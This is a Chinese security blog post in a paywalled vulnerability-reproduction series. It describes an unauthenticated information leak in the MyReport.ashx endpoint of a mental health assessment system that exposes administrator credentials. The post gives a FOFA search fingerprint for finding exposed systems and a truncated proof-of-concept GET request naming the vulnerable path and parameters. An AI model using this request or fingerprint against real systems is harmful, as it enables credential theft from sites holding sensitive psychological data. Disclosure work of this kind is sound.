京师心智心理健康测评系统 MyReport.ashx 信息泄露漏洞复现

0xSecl

已于 2024-03-20 16:38:43 修改

阅读量576

点赞数 1

分类专栏：漏洞复现v1 文章标签：安全 web安全

于 2024-03-20 16:38:18 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41904294/article/details/136881045

版权

漏洞复现v1 专栏收录该内容

997 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了京师心智心理健康测评系统中MyReport.ashx接口存在的信息泄露漏洞，详细阐述了漏洞的概述、复现环境及步骤，以及针对该漏洞的修复建议。攻击者能未授权获取管理员凭证，导致系统安全性严重下降。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

京师心智心理健康测评系统由心理学专家指导研发，使用先进的测试方法，通过一系列的数据处理将人的心理特征数量化，以此来衡量个体心理因素水平以及心理差异，帮助开展标准化心理健康工作。

0x02 漏洞概述

京师心智心理健康测评系统 MyReport.ashx接口存在信息泄露漏洞，未经身份验证的攻击者可以利用此漏洞获取系统后台管理员账户密码凭证，并且解密后可登录后台页面，使系统处于极不安全的状态。

0x03 复现环境

FOFA：body="JS/ligerComboBox/ligerTree.js"

0x04 漏洞复现

PoC

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html, image/gif, image/

了解本专栏

超级会员免费看